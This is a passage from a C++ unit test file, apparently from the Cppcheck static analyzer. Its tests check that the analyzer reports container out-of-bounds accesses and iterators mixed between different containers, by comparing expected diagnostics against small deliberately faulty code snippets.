\"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it,0,1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void iterator4() {\n check(\"void foo(std::vector &test)\\n\"\n \"{\\n\"\n \" std::set result;\\n\"\n \" for (std::vector::const_iterator cit = test.begin();\\n\"\n \" cit != test.end();\\n\"\n \" ++cit)\\n\"\n \" {\\n\"\n \" result.insert(cit->size());\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator5() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find(ints1.begin(), ints2.end(), 22);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:47]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator6() {\n // Ticket #1357\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints1.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::set &ints1)\\n\"\n \"{\\n\"\n \" std::set ints2;\\n\"\n \" std::set::iterator it1 = ints1.begin();\\n\"\n \" std::set::iterator it2 = ints2.end();\\n\"\n \" ints2.insert(it1, it2);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterators of different containers are used together.\\n\", \"\", errout_str());\n }\n\n void iterator7() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints1.rbegin(), 5), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::inplace_merge(ints1.begin(), std::advance(ints2.rbegin(), 5), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator8() {\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints2.end(), ints1.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:56]: (error) Iterators of different containers 'ints1' and 'ints2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:84]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(foo.bar.begin(), foo.bar.end()-6, ints2.begin(), ints1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:90]: (error) Iterators of different containers 'ints2' and 'ints1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo(std::vector ints1, std::vector ints2)\\n\"\n \"{\\n\"\n \" std::vector::iterator it = std::find_first_of(ints1.begin(), ints1.end(), ints2.begin(), ints2.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6839\n check(\"void f(const std::wstring& a, const std::wstring& b) {\\n\"\n \" const std::string tp1 = std::string(a.begin(), b.end());\\n\"\n \" const std::wstring tp2 = std::string(b.begin(), a.end());\\n\"\n \" const std::u16string tp3(a.begin(), b.end());\\n\"\n \" const std::u32string tp4(b.begin(), a.end());\\n\"\n \" const std::string fp1 = std::string(a.begin(), a.end());\\n\"\n \" const std::string tp2(a.begin(), a.end());\\n\"\n \"}\");\n ASSERT_EQUALS( // TODO \"[test.cpp:2]: (error) Iterators of different containers are used together.\\n\"\n // TODO \"[test.cpp:3]: (error) Iterators of different containers are used together.\\n\"\n \"[test.cpp:4:26]: (error) Iterators of different containers 'tp3' and 'a' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:26]: (error) Iterators of different containers 'tp4' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator9() {\n // Ticket #1600\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2481\n check(\"void foo(std::vector &r)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Execution path checking..\n check(\"void foo(std::vector &r, int c)\\n\"\n \"{\\n\"\n \" std::vector::iterator aI = r.begin();\\n\"\n \" while(aI != r.end())\\n\"\n \" {\\n\"\n \" if (*aI == 0)\\n\"\n \" {\\n\"\n \" r.insert(aI, 42);\\n\"\n \" if (c)\\n\"\n \" {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" ++aI;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] (error) After insert(), the iterator 'aI' may be invalid.\", \"\", errout_str());\n }\n\n void iterator10() {\n // Ticket #1679\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set s1;\\n\"\n \" std::set s2;\\n\"\n \" for (std::set::iterator it = s1.begin(); it != s1.end(); ++it)\\n\"\n \" {\\n\"\n \" if (true) { }\\n\"\n \" if (it != s2.end()) continue;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:39]: (error) Iterators of different containers 's1' and 's2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator11() {\n // Ticket #3433\n check(\"int main() {\\n\"\n \" map myMap;\\n\"\n \" vector myVector;\\n\"\n \" for(vector::iterator x = myVector.begin(); x != myVector.end(); x++)\\n\"\n \" myMap.erase(*x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator12() {\n // Ticket #3201\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (it == map2.end()) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (error) Iterators of different containers 'map1' and 'map2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::map map1;\\n\"\n \" std::map map2;\\n\"\n \" std::map::const_iterator it = map1.find(123);\\n\"\n \" if (map2.end() == it) { }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (error) Iterators of different containers 'map2' and 'map1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(std::string &s) {\\n\"\n \" int pos = s.find(x);\\n\"\n \" s.erase(pos);\\n\"\n \" s.erase(pos);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator13() {\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Iterators of different containers 't' and 'a' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n // #4062\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" it = a.begin();\\n\"\n \" while (it!=a.end())\\n\"\n \" ++it;\\n\"\n \" it = t.begin();\\n\"\n \" while (it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector a;\\n\"\n \" std::vector t;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" 